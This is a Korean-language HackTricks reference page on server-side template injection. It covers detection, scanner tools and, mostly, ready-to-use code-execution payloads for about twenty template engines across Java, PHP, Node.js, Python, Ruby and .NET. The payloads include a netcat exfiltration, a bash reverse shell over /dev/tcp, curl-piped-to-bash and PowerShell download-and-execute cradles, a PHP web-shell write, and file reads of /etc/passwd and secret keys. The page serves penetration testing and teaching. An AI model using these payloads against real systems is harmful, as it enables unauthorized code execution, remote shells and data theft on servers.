SSTI (Server Side Template Injection)

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

RootedCON스페인에서 가장 중요한 유럽에서 가장 중요한 사이버 보안 이벤트입니다. 기술 지식을 촉진하는 미션을 가지고 있는 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다.

SSTI (서버 측 템플릿 삽입)이란

서버 측 템플릿 삽입은 공격자가 악의적인 코드를 서버에서 실행되는 템플릿에 삽입할 수 있는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다.

Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔진입니다. Jinja를 사용한 취약한 코드 스니펫을 보여주는 예제를 살펴봅시다:

output = template.render(name=request.args.get('name'))

이 취약한 코드에서 사용자의 요청에서 name 매개변수가 render 함수를 사용하여 템플릿으로 직접 전달됩니다. 이는 공격자가 name 매개변수에 악성 코드를 삽입할 수 있게 하여 서버 측 템플릿 삽입을 유발할 수 있습니다.

예를 들어, 공격자는 다음과 같은 페이로드를 포함한 요청을 조작할 수 있습니다:

http://vulnerable-website.com/?name={{bad-stuff-here}}

페이로드 {{bad-stuff-here}}name 매개변수에 삽입됩니다. 이 페이로드에는 공격자가 무단 코드를 실행하거나 템플릿 엔진을 조작하여 서버를 제어할 수 있는 진자 템플릿 지시문이 포함될 수 있습니다.

서버 측 템플릿 삽입 취약점을 방지하려면, 개발자는 사용자 입력이 템플릿에 삽입되기 전에 적절히 살균화되고 유효성이 검사되도록 해야 합니다. 입력 유효성을 구현하고 컨텍스트에 맞는 이스케이핑 기술을 사용하면 이 취약점의 위험을 완화할 수 있습니다.

탐지

서버 측 템플릿 삽입 (SSTI)을 탐지하기 위해 먼저 템플릿 퍼징이 직관적인 방법입니다. 이는 템플릿에 특수 문자 시퀀스 (${{<%[%'"}}%\)를 삽입하고 일반 데이터와 이 특수 페이로드 간의 서버 응답의 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다:

  • 취약점 및 템플릿 엔진 노출하는 오류 발생

  • 반사에서 페이로드가 없거나 일부가 누락되어 일반 데이터와 다르게 처리된다는 것을 시사

  • 평문 컨텍스트: 서버가 템플릿 표현식을 평가하는지 확인하여 XSS와 구분 (예: {{7*7}}, ${7*7})

  • 코드 컨텍스트: 입력 매개변수를 변경하여 취약점을 확인합니다. 예를 들어 greetinghttp://vulnerable-website.com/?greeting=data.username에서 변경하여 서버 출력이 동적인지 고정인지 확인하고, greeting=data.username}}hello를 입력하면 사용자 이름이 반환됩니다.

식별 단계

템플릿 엔진을 식별하려면 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트해야 합니다. 오류를 일으키는 일반적인 페이로드에는 ${7/0}, {{7/0}}, <%= 7/0 %> 등이 포함됩니다. 수학 연산에 대한 서버 응답을 관찰하여 특정 템플릿 엔진을 파악할 수 있습니다.

도구

새로운 폴리글롯을 활용하는 효율적인 SSTI + CSTI 스캐너

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

가장 효율적인 템플릿 주입 폴리글롯과 44개의 주요 템플릿 엔진의 예상 응답을 포함하는 대화형 테이블입니다.

Exploits

일반

워드리스트에서는 아래에 언급된 엔진들의 환경에서 정의된 변수를 찾을 수 있습니다:

자바

자바 - 기본 주입

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - 시스템 환경 변수 검색

${T(java.lang.System).getenv()}

Java - /etc/passwd 파일 검색

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

당신은 https://try.freemarker.apache.org에서 페이로드를 시도할 수 있습니다.

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - 샌드박스 우회

⚠️ Freemarker 버전 2.3.30 미만에서만 작동합니다.

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

추가 정보

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

추가 정보

Thymeleaf

Thymeleaf에서 SSTI 취약점에 대한 일반적인 테스트는 표현식 ${7*7}으로, 이는 이 템플릿 엔진에도 적용됩니다. 잠재적인 원격 코드 실행을 위해 다음과 같은 표현식을 사용할 수 있습니다:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf는 이러한 표현식이 특정 속성 내에 위치해야 합니다. 그러나 _표현식 인라인_은 다른 템플릿 위치에 대해 지원되며, [[...]] 또는 [(...)]와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 [[${7*7}]]와 같을 수 있습니다.

그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않습니다. 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 템플릿을 동적으로 생성하기 위해 자체 TemplateResolver를 구현해야 하는데, 이는 일반적이지 않습니다.

또한 Thymeleaf는 _표현식 전처리_를 제공하며, 더블 언더스코어(__...__) 내의 표현식이 전처리됩니다. 이 기능은 Thymeleaf 문서에서 설명된 대로 표현식을 구성하는 데 활용될 수 있습니다:

#{selection.__${sel.code}__}

Thymeleaf에서 취약점 예시

다음 코드 스니펫을 살펴보십시오. 이는 악용 가능성이 있는 코드입니다:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

이는 템플릿 엔진이 이러한 입력을 부적절하게 처리하는 경우, 다음과 같은 URL에 액세스하여 원격 코드 실행으로 이어질 수 있다는 것을 나타냅니다:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

추가 정보

pageEL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

필터 우회

여러 변수 표현식을 사용할 수 있습니다. ${...}가 작동하지 않는 경우 #{...}, *{...}, @{...} 또는 ~{...}를 시도해보세요.

  • /etc/passwd 파일 읽기

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • 페이로드 생성을 위한 사용자 정의 스크립트

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

추가 정보

스프링 뷰 조작 (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
pageEL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble의 이전 버전 ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

새로운 버전의 Pebble:

{% set cmd = 'id' %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava (자바)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - 명령 실행

https://github.com/HubSpot/jinjava/

https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

추가 정보

Hubspot - HuBL (Java)

  • {% %} 문 구분자

  • {{ }} 표현식 구분자

  • {# #} 주석 구분자

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest"를 검색하여 Github의 Jinjava 프로젝트를 발견했습니다.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

추가 정보

표현 언어 - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

표현 언어 (EL)는 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호 작용을 용이하게 하는 기본 기능입니다. 이 통신을 간소화하기 위해 EL은 여러 JavaEE 기술 전반에 걸쳐 널리 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:

  • JavaServer Faces (JSF): EL을 사용하여 JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 동작에 바인딩합니다.

  • JavaServer Pages (JSP): JSP에서 데이터에 액세스하고 조작하기 위해 EL이 사용되며, 페이지 요소를 애플리케이션 데이터에 연결하는 작업을 쉽게 만듭니다.

  • Contexts and Dependency Injection for Java EE (CDI): EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호 작용을 허용하며, 더 일관된 애플리케이션 구조를 보장합니다.

EL 해석기의 악용에 대해 더 알아보려면 다음 페이지를 확인하세요:

pageEL - Expression Language

Groovy (Java)

다음 보안 관리자 우회 방법은 이 writeup에서 가져왔습니다.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON스페인에서 가장 중요한 사이버 보안 행사 중 하나이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 데 봉사하는 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

추가 정보

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - 템플릿 형식

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

추가 정보

Plates (PHP)

Plates는 PHP에 기본적으로 내장된 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 Twig와 달리 Plates는 새로운 구문을 도입하는 대신 템플릿에서 네이티브 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

페이지 템플릿:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

레이아웃 템플릿:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

추가 정보

PHPlib 및 HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB는 PHPlib과 동일하지만 Pear로 이식된 것입니다.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

추가 정보

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

추가 정보

patTemplate (PHP)

patTemplate은 XML 태그를 사용하여 문서를 여러 부분으로 나누는 PHP 템플릿 엔진으로, 컴파일되지 않는다.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

추가 정보

Handlebars (NodeJS)

경로 순회 (더 많은 정보는 여기에서 확인).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = 오류

  • ${7*7} = ${7*7}

  • 아무것도

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

추가 정보

JsRender (NodeJS)

템플릿

설명

결과를 평가하고 렌더링

HTML로 인코딩된 결과를 평가하고 렌더링

주석

and

코드를 허용 (기본적으로 비활성화)

  • = 49

클라이언트 측

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

서버 측

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

추가 정보

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

서버 측 렌더링 예제

var pugjs = require('pug');
home = pugjs.render(injected_page)

추가 정보

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = 출력 없음

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = 에러

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

추가 정보

ERB (루비)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

추가 정보

Slim (루비)

  • { 7 * 7 }

{ %x|env| }

추가 정보

Python

파이썬에서 샌드박스 우회를 통한 임의 명령 실행 트릭을 배우려면 다음 페이지를 확인하세요:

pageBypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}






{{os.system('whoami')}}
{{os.system('whoami')}}

추가 정보

Jinja2 (Python)

공식 웹사이트

Jinja2는 Python을 위한 완전한 기능을 갖춘 템플릿 엔진입니다. 전체 유니코드 지원, 선택 사항으로 통합된 샌드박스 실행 환경, 널리 사용되며 BSD 라이선스가 있습니다.

  • {{7*7}} = Error

  • ${7*7} = ${7*7}

  • {{foobar}} Nothing

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - 템플릿 형식

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

__builtins__에 의존하지 않는 RCE:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja를 남용하는 방법에 대한 자세한 내용:

pageJinja2 SSTI

기타 payloads은 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

추가 정보

Razor (.Net)

  • @(2+2) <= 성공

  • @() <= 성공

  • @("{{code}}") <= 성공

  • @ <= 성공

  • @{} <= 오류!

  • @{ <= 오류!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET의 System.Diagnostics.Process.Start 메서드를 사용하여 서버에서 어떤 프로세스든 시작하고 웹쉘을 생성할 수 있습니다. 취약한 웹앱 예제는 https://github.com/cnotin/RazorVulnerableApp에서 찾을 수 있습니다.

추가 정보

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = Nothing

  • <%= response.write(date()) %> = <Date>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

추가 정보

Mojolicious (Perl)

비록 Perl이지만 Ruby의 ERB와 같은 태그를 사용합니다.

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= perl code %>
<% perl code %>

GO에서의 SSTI

Go의 템플릿 엔진에서는 사용 여부를 확인할 수 있는 특정한 payload로 수행할 수 있습니다:

